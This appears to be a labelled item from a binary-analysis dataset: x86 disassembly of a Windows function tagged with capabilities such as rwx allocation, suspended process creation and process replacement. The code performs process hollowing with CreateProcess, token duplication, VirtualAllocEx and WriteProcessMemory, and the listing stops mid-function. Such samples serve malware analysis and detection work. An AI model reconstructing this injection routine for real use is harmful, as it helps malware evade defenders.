Function at 0x100027b6
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Query environment variable
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
push 0x48
call fcn.1000fa3f
add esp, 4
mov dword [ebp - 0x30], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 0x12
rep stosd dword es:[edi], eax
push 0x10
call fcn.1000fa3f
add esp, 4
mov dword [ebp - 0x34], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x68], 0
xor ecx, ecx
inc ecx
push ecx
cmp ecx, 1
jg 0x10002bce
push 0
mov ebx, 0x230
call fcn.10011690
add esp, 4
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x6c]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x100028e7
push ebx
call fcn.1000fa45
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 0x80000004
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x100028fe
mov eax, 0x10027260
push eax
push 0x80000004
push 0
push 0x10027308
push 2
mov ebx, 0x30
mov eax, 0x10019290
call fcn.1000fea0
add esp, 0x1c
mov dword [ebp - 0x6c], eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x6c]
test eax, eax
jne 0x10002938
mov eax, 0x10027260
push eax
push 1
mov ebx, 0x268
call fcn.10011ce0
add esp, 0x10
mov dword [ebp - 0x70], eax
mov ebx, dword [ebp - 0x6c]
test ebx, ebx
je 0x1000295e
push ebx
call fcn.1000fa45
add esp, 4
mov eax, dword [ebp - 0x70]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10002972
push ebx
call fcn.1000fa45
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov eax, 0x10027258
xor ecx, ecx
test eax, eax
je 0x10002984
mov ecx, dword [eax + 4]
push ecx
add eax, 8
push eax
mov eax, dword [ebp - 8]
xor ebx, ebx
test eax, eax
je 0x10002995
mov ebx, dword [eax + 4]
add eax, 8
push eax
cmp ebx, ecx
mov eax, 1
jne 0x100029ac
dec eax
test ecx, ecx
je 0x100029ac
call fcn.1000267c
add esp, 0xc
test eax, eax
je 0x100029bc
jmp 0x10002bce
push 0
mov ebx, 0x104
call fcn.10011d50
add esp, 4
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x6c]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x100029e5
push ebx
call fcn.1000fa45
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 0x80000004
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x100029fc
mov eax, 0x10027260
push eax
push 0x80000004
push 0
push 0x10027308
push 2
mov ebx, 0x30
mov eax, 0x10019290
call fcn.1000fea0
add esp, 0x1c
mov dword [ebp - 0x6c], eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x6c]
test eax, eax
jne 0x10002a36
mov eax, 0x10027260
push eax
push 1
mov ebx, 0x268
call fcn.10011ce0
add esp, 0x10
mov dword [ebp - 0x70], eax
mov ebx, dword [ebp - 0x6c]
test ebx, ebx
je 0x10002a5c
push ebx
call fcn.1000fa45
add esp, 4
mov eax, dword [ebp - 0x70]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10002a70
push ebx
call fcn.1000fa45
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov eax, 0x10027258
xor ecx, ecx
test eax, eax
je 0x10002a82
mov ecx, dword [eax + 4]
push ecx
add eax, 8
push eax
mov eax, dword [ebp - 8]
xor ebx, ebx
test eax, eax
je 0x10002a93
mov ebx, dword [eax + 4]
add eax, 8
push eax
cmp ebx, ecx
mov eax, 1
jne 0x10002aaa
dec eax
test ecx, ecx
je 0x10002aaa
call fcn.1000267c
add esp, 0xc
test eax, eax
je 0x10002aba
jmp 0x10002bce
mov eax, dword [0x10027f6c]
test eax, eax
je 0x10002ad8
push eax
mov ebx, eax
call fcn.10002553
inc eax
push eax
call fcn.1000fa3f
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x10002ae9
push ebx
call fcn.1000fa45
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 0x80000004
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x10002b00
mov eax, 0x10027260
push eax
push 0x80000004
push 0
push 0x10027308
push 2
mov ebx, 0x30
mov eax, 0x10019290
call fcn.1000fea0
add esp, 0x1c
mov dword [ebp - 0x6c], eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x6c]
test eax, eax
jne 0x10002b3a
mov eax, 0x10027260
push eax
push 1
mov ebx, 0x268
call fcn.10011ce0
add esp, 0x10
mov dword [ebp - 0x70], eax
mov ebx, dword [ebp - 0x6c]
test ebx, ebx
je 0x10002b60
push ebx
call fcn.1000fa45
add esp, 4
mov eax, dword [ebp - 0x70]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10002b74
push ebx
call fcn.1000fa45
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov eax, 0x10027258
xor ecx, ecx
test eax, eax
je 0x10002b86
mov ecx, dword [eax + 4]
push ecx
add eax, 8
push eax
mov eax, dword [ebp - 8]
xor ebx, ebx
test eax, eax
je 0x10002b97
mov ebx, dword [eax + 4]
add eax, 8
push eax
cmp ebx, ecx
mov eax, 1
jne 0x10002bae
dec eax
test ecx, ecx
je 0x10002bae
call fcn.1000267c
add esp, 0xc
test eax, eax
je 0x10002bbe
jmp 0x10002bce
mov eax, 1
jmp 0x10003e5c
add esp, 4
push 0x80000301
push 0
push 0x35e1f21
push 1
mov ebx, 0x168
call fcn.10011e50
add esp, 0x10
mov dword [ebp - 0x6c], eax
push 0x80000301
push 0
push 1
push 0x80000004
push 0
mov eax, dword [ebp - 0x6c]
test eax, eax
jne 0x10002c11
mov eax, 0x10027260
push eax
push 0x80000005
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x10002c25
mov eax, 0x10027258
push eax
push 3
mov ebx, 0x10
mov eax, 0x1001cc70
call fcn.1000fea0
add esp, 0x28
mov dword [ebp - 0x70], eax
mov ebx, dword [ebp - 0x6c]
test ebx, ebx
je 0x10002c50
push ebx
call fcn.1000fa45
add esp, 4
push 0x80000005
push 0
mov eax, dword [ebp - 0x70]
test eax, eax
jne 0x10002c63
mov eax, 0x10027258
push eax
push 1
mov ebx, 4
mov eax, 0x1001c820
call fcn.1000fea0
add esp, 0x10
mov dword [ebp - 0x74], eax
mov ebx, dword [ebp - 0x70]
test ebx, ebx
je 0x10002c91
push ebx
call fcn.1000fa45
add esp, 4
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10002ca8
push ebx
call fcn.1000fa45
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov eax, 0x10027258
xor ecx, ecx
test eax, eax
je 0x10002cba
mov ecx, dword [eax + 4]
push ecx
add eax, 8
push eax
mov eax, dword [ebp - 8]
xor ebx, ebx
test eax, eax
je 0x10002ccb
mov ebx, dword [eax + 4]
add eax, 8
push eax
cmp ebx, ecx
mov eax, 1
jne 0x10002ce2
dec eax
test ecx, ecx
je 0x10002ce2
call fcn.1000267c
add esp, 0xc
test eax, eax
jne 0x10002cf7
mov eax, 2
jmp 0x10003e5c
push 0x80000005
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x10002d0a
mov eax, 0x10027258
push eax
push 1
mov ebx, 0x30
mov eax, 0x1001a819
call fcn.1000fea0
add esp, 0x10
mov dword [ebp - 0xc], eax
fild dword [ebp - 0xc]
fstp qword [ebp - 0x70]
fld qword [ebp - 0x70]
fadd qword [0x10027316]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
call fcn.1000109d
push 0x80000301
push 0
push eax
push 1
mov ebx, 0xa5c
call fcn.10010200
add esp, 0x10
mov dword [ebp - 0x7c], eax
fild dword [ebp - 0xc]
fstp qword [ebp - 0x84]
fld qword [ebp - 0x84]
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x8c]
fadd qword [ebp - 0x8c]
fstp qword [ebp - 0x94]
fld qword [ebp - 0x94]
call fcn.1000109d
mov dword [ebp - 0x10], eax
fild dword [ebp - 0x10]
fstp qword [ebp - 0x70]
fld qword [ebp - 0x70]
fadd qword [0x1002731e]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
call fcn.1000109d
push 0x80000301
push 0
push eax
push 1
mov ebx, 0xa5c
call fcn.10010200
add esp, 0x10
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x9d8
call fcn.100120f0
add esp, 0x10
cwde
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jge 0x10002e03
add dword [ebp - 0x14], 0x10000
fild dword [ebp - 0x10]
fstp qword [ebp - 0x70]
fld qword [ebp - 0x70]
fadd qword [0x10027326]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
call fcn.1000109d
push 0x80000301
push 0
push eax
push 1
mov ebx, 0xa5c
call fcn.10010200
add esp, 0x10
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x10]
fstp qword [ebp - 0x70]
fld qword [ebp - 0x70]
fadd qword [0x1002732e]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
call fcn.1000109d
push 0x80000301
push 0
push eax
push 1
mov ebx, 0xa5c
call fcn.10010200
add esp, 0x10
mov dword [ebp - 0x1c], eax
fild dword [ebp - 0x10]
fstp qword [ebp - 0x70]
fld qword [ebp - 0x70]
fadd qword [0x10027336]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
call fcn.1000109d
push 0x80000301
push 0
push eax
push 1
mov ebx, 0xa5c
call fcn.10010200
add esp, 0x10
mov dword [ebp - 0x20], eax
fild dword [ebp - 0x10]
fstp qword [ebp - 0x70]
fld qword [ebp - 0x70]
fadd qword [0x1002733e]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
call fcn.1000109d
push 0x80000301
push 0
push eax
push 1
mov ebx, 0xa5c
call fcn.10010200
add esp, 0x10
mov dword [ebp - 0x24], eax
fild dword [ebp - 0x10]
fstp qword [ebp - 0x70]
fld qword [ebp - 0x70]
fadd qword [0x10027346]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
call fcn.1000109d
push 0x80000301
push 0
push eax
push 1
mov ebx, 0xa5c
call fcn.10010200
add esp, 0x10
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x9d8
call fcn.100120f0
add esp, 0x10
mov word [ebp - 0x28], ax
push 0x80000301
push 0
push 0x104
push 1
mov ebx, 0x184
call fcn.10010040
add esp, 0x10
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x6c]
push eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x10002f84
push ebx
call fcn.1000fa45
add esp, 4
pop eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x6c], esp
push 0x104
push dword [ebp - 0x2c]
push 0x1002734e
xor eax, eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
nop
nop
cmp dword [ebp - 0x6c], esp
je 0x10002fb4
push 6
call fcn.1000fa51
add esp, 4
mov ebx, dword [ebp - 0x30]
mov dword [ebp - 0x6c], ebx
mov ebx, dword [ebp - 0x6c]
mov dword [ebx], 0x44
mov ebx, dword [ebp - 0x30]
add ebx, 0x2c
mov dword [ebp - 0x6c], ebx
mov eax, dword [ebp + 8]
mov ebx, dword [ebp - 0x6c]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x30]
add ebx, 0xc
mov dword [ebp - 0x6c], ebx
mov eax, dword [0x10027f68]
test eax, eax
je 0x10002ffb
push eax
mov ebx, eax
call fcn.10002553
inc eax
push eax
call fcn.1000fa3f
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 0x6c]
mov ebx, dword [ebx]
test ebx, ebx
je 0x1000300e
push ebx
call fcn.1000fa45
add esp, 4
pop eax
mov ebx, dword [ebp - 0x6c]
mov dword [ebx], eax
cmp dword [ebp + 0x10], 0
jne 0x10003215
mov dword [ebp - 0x6c], esp
push dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
push eax
push 0x44
call fcn.1000fa3f
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x70], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov word [edi], ax
add edi, 2
mov eax, dword [ebx]
add ebx, 4
mov word [edi], ax
add edi, 2
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push dword [ebp - 4]
push 0
push 4
push 0
push 0
push 0
push dword [ebp - 0x2c]
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
nop
nop
cmp dword [ebp - 0x6c], esp
je 0x10003138
push 6
call fcn.1000fa51
add esp, 4
push eax
mov ebx, dword [ebp - 0x70]
push ebx
mov edi, dword [ebp - 0x74]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
call fcn.10002728
call fcn.10002728
call fcn.10002728
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov ax, word [ebx]
add ebx, 2
mov dword [edi], eax
add edi, 4
mov ax, word [ebx]
add ebx, 2
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
call fcn.1000fa45
add esp, 4
pop eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0
jne 0x10003210
mov eax, 3
jmp 0x10003e5c
jmp 0x100035ef
mov ebx, dword [ebp - 0x30]
add ebx, 8
mov dword [ebp - 0x6c], ebx
mov eax, str.WinSta0Default
push eax
mov ebx, dword [ebp - 0x6c]
mov ebx, dword [ebx]
test ebx, ebx
je 0x10003236
push ebx
call fcn.1000fa45
add esp, 4
pop eax
mov ebx, dword [ebp - 0x6c]
mov dword [ebx], eax
mov dword [ebp - 0x6c], esp
lea eax, [ebp - 0x38]
push eax
push 0xf01ff
push 0xffffffff
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
nop
nop
cmp dword [ebp - 0x6c], esp
je 0x10003269
push 6
call fcn.1000fa51
add esp, 4
mov dword [ebp - 0x6c], esp
lea eax, [ebp - 0x3c]
push eax
push 1
push 1
push 0
push 0x2000000
push dword [ebp - 0x38]
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
nop
nop
cmp dword [ebp - 0x6c], esp
je 0x100032a3
push 6
call fcn.1000fa51
add esp, 4
mov dword [ebp - 0x6c], esp
xor eax, eax
call dword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
nop
nop
cmp dword [ebp - 0x6c], esp
je 0x100032c2
push 6
call fcn.1000fa51
add esp, 4
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xffffffff
je 0x100032d4
jmp 0x100032f8
push 0x80000301
push 0
push 0x14
push 1
mov ebx, 0x67c
call fcn.100116f0
add esp, 0x10
cmp dword [ebp - 0x40], 0xffffffff
je 0x100032a3
mov dword [ebp - 0x6c], esp
push 4
lea eax, [ebp - 0x40]
push eax
push 0xc
push dword [ebp - 0x3c]
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
nop
nop
cmp dword [ebp - 0x6c], esp
je 0x10003328
push 6
call fcn.1000fa51
add esp, 4
mov dword [ebp - 0x6c], esp
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x40]
xor eax, eax
call dword [sym.imp.WTSAPI32.dll_WTSQueryUserToken]
nop
nop
cmp dword [ebp - 0x6c], esp
je 0x1000334e
push 6
call fcn.1000fa51
add esp, 4
mov dword [ebp - 0x6c], esp
push 0
push dword [ebp - 0x44]
lea eax, [ebp - 0x48]
push eax
xor eax, eax
call dword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
nop
nop
cmp dword [ebp - 0x6c], esp
je 0x10003379
push 6
call fcn.1000fa51
add esp, 4
mov dword [ebp - 0x6c], esp
push dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
push eax
push 0x44
call fcn.1000fa3f
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x70], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov word [edi], ax
add edi, 2
mov eax, dword [ebx]
add ebx, 4
mov word [edi], ax
add edi, 2
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push dword [ebp - 4]
push dword [ebp - 0x48]
push 0x404
push 0
push 0
push 0
push dword [ebp - 0x2c]
push 0
push dword [ebp - 0x3c]
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
nop
nop
cmp dword [ebp - 0x6c], esp
je 0x10003494
push 6
call fcn.1000fa51
add esp, 4
push eax
mov ebx, dword [ebp - 0x70]
push ebx
mov edi, dword [ebp - 0x74]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
call fcn.10002728
call fcn.10002728
call fcn.10002728
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov ax, word [ebx]
add ebx, 2
mov dword [edi], eax
add edi, 4
mov ax, word [ebx]
add ebx, 2
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
call fcn.1000fa45
add esp, 4
pop eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
je 0x10003561
jmp 0x10003589
push 0x80000301
push 0
push 0x3e8
push 1
mov ebx, 0x67c
call fcn.100116f0
add esp, 0x10
cmp dword [ebp - 0x40], 0
je 0x10003379
mov dword [ebp - 0x6c], esp
push dword [ebp - 0x48]
xor eax, eax
call dword [sym.imp.USERENV.dll_DestroyEnvironmentBlock]
nop
nop
cmp dword [ebp - 0x6c], esp
je 0x100035ab
push 6
call fcn.1000fa51
add esp, 4
mov dword [ebp - 0x6c], esp
push dword [ebp - 0x3c]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
cmp dword [ebp - 0x6c], esp
je 0x100035cd
push 6
call fcn.1000fa51
add esp, 4
mov dword [ebp - 0x6c], esp
push dword [ebp - 0x38]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
cmp dword [ebp - 0x6c], esp
je 0x100035ef
push 6
call fcn.1000fa51
add esp, 4
push 0x80000002
push 0
push 1
push 0x80000301
push 0
push 0x2cc
push 2
mov ebx, 0x24
mov eax, 0x10018dc0
call fcn.1000fea0
add esp, 0x1c
mov dword [ebp - 0x4c], eax
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 0x4c]
push 0x80000301
push 0
push 0x10002
push 3
mov ebx, 0x914
call fcn.100121b0
add esp, 0x28
mov ebx, dword [ebp - 0x34]
add ebx, 4
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x70], esp
push dword [ebp - 0x4c]
mov ebx, dword [ebp - 0x6c]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
nop
nop
cmp dword [ebp - 0x70], esp
je 0x10003685
push 6
call fcn.1000fa51
add esp, 4
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jne 0x100036d1
mov ebx, dword [ebp - 0x34]
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x70], esp
push 0
mov ebx, dword [ebp - 0x6c]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
cmp dword [ebp - 0x70], esp
je 0x100036c7
push 6
call fcn.1000fa51
add esp, 4
mov eax, 4
jmp 0x10003e5c
mov ebx, dword [ebp - 0x34]
mov dword [ebp - 0x6c], ebx
fild dword [ebp - 0x20]
fstp qword [ebp - 0x74]
fld qword [ebp - 0x74]
fadd qword [0x10027388]
fstp qword [ebp - 0x7c]
mov dword [ebp - 0x80], esp
push 0x40
push 0x3000
fld qword [ebp - 0x7c]
call fcn.1000109d
push eax
push dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x6c]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
nop
nop
cmp dword [ebp - 0x80], esp
je 0x10003735
push 6
call fcn.1000fa51
add esp, 4
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jne 0x1000377b
mov ebx, dword [ebp - 0x34]
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x70], esp
push 0
mov ebx, dword [ebp - 0x6c]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
cmp dword [ebp - 0x70], esp
je 0x10003771
push 6
call fcn.1000fa51
add esp, 4
mov eax, 5
jmp 0x10003e5c
mov ebx, dword [ebp - 0x34]
mov dword [ebp - 0x6c], ebx
fild dword [ebp - 0x4c]
fstp qword [ebp - 0x74]
fld qword [ebp - 0x74]
fadd qword [0x10027390]
fstp qword [ebp - 0x7c]
fld qword [ebp - 0x7c]
call fcn.1000109d
push 0x80000301
push 0
push eax
push 1
mov ebx, 0xa5c
call fcn.10010200
add esp, 0x10
mov dword [ebp - 0x88], eax
fild dword [ebp - 0x88]
fstp qword [ebp - 0x88]
fld qword [ebp - 0x88]
fadd qword [0x10027398]
fstp qword [ebp - 0x90]
push 0x80000301
push 0
lea eax, [ebp - 0x50]
push eax
push 1
mov ebx, 4
mov eax, 0x10018200
call fcn.1000fea0
add esp, 0x10
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x98], esp
lea eax, [ebp - 0x54]
push eax
push 4
push dword [ebp - 0x94]
fld qword [ebp - 0x90]
call fcn.1000109d
push eax
mov ebx, dword [ebp - 0x6c]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop
nop
cmp dword [ebp - 0x98], esp
je 0x10003852
push 6
call fcn.1000fa51
add esp, 4
mov ebx, dword [ebp - 0x34]
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x70], esp
lea eax, [ebp - 0x54]
push eax
push dword [ebp - 0x24]
push dword [ebp - 0xc]
push dword [ebp - 0x50]
mov ebx, dword [ebp - 0x6c]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop
nop
cmp dword [ebp - 0x70], esp
je 0x10003889
push 6
call fcn.1000fa51
add esp, 4
fild dword [ebp - 0xc]
fstp qword [ebp - 0x70]
fld qword [ebp - 0x70]
fadd qword [0x10027316]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
call fcn.1000109d
push 0x80000301
push 0
push eax
push 1
mov ebx, 0xa5c
call fcn.10010200
add esp, 0x10
mov dword [ebp - 0x84], eax
fild dword [ebp - 0x84]
fstp qword [ebp - 0x84]
fld qword [ebp - 0x84]
fadd qword [0x100273a0]
fstp qword [ebp - 0x8c]
fld qword [ebp - 0x8c]
call fcn.1000109d
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x28]
cwde
mov dword [ebp - 0x70], eax
fild dword [ebp - 0x70]
fstp qword [ebp - 0x70]
fld qword [ebp - 0x70]
fsub qword [0x100273a8]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
call fcn.1000109d
push eax
lea eax, [ebp - 0x5c]
mov ebx, eax
mov ecx, 0
pop edx
push edx
push ecx
push ebx
mov dword [ebx], ecx
cmp ecx, edx
jg 0x10003ad9
fild dword [ebp - 0x5c]
fstp qword [ebp - 0x70]
fld qword [ebp - 0x70]
fmul qword [0x10027326]
fstp qword [ebp - 0x78]
fild dword [ebp - 0xc]
fstp qword [ebp - 0x80]
fld qword [ebp - 0x80]
fild dword [ebp - 0x58]
fstp qword [ebp - 0x88]
fadd qword [ebp - 0x88]
fadd qword [ebp - 0x78]
fstp qword [ebp - 0x90]
fld qword [ebp - 0x90]
call fcn.1000109d
mov dword [ebp - 0x60], eax
mov ebx, dword [ebp - 0x34]
mov dword [ebp - 0x6c], ebx
fild dword [ebp - 0x60]
fstp qword [ebp - 0x74]
fld qword [ebp - 0x74]
fsub qword [0x10027398]
fstp qword [ebp - 0x7c]
fld qword [ebp - 0x7c]
call fcn.1000109d
push 0x80000301
push 0
push eax
push 1
mov ebx, 0xa5c
call fcn.10010200
add esp, 0x10
mov dword [ebp - 0x80], eax
fild dword [ebp - 0x50]
fstp qword [ebp - 0x88]
fld qword [ebp - 0x88]
fild dword [ebp - 0x80]
fstp qword [ebp - 0x90]
fadd qword [ebp - 0x90]
fstp qword [ebp - 0x98]
push 0x80000301
push 0
push dword [ebp - 0x60]
push 1
mov ebx, 0xa5c
call fcn.10010200
add esp, 0x10
mov dword [ebp - 0x9c], eax
fild dword [ebp - 0xc]
fstp qword [ebp - 0xa4]
fld qword [ebp - 0xa4]
fild dword [ebp - 0x9c]
fstp qword [ebp - 0xac]
fadd qword [ebp - 0xac]
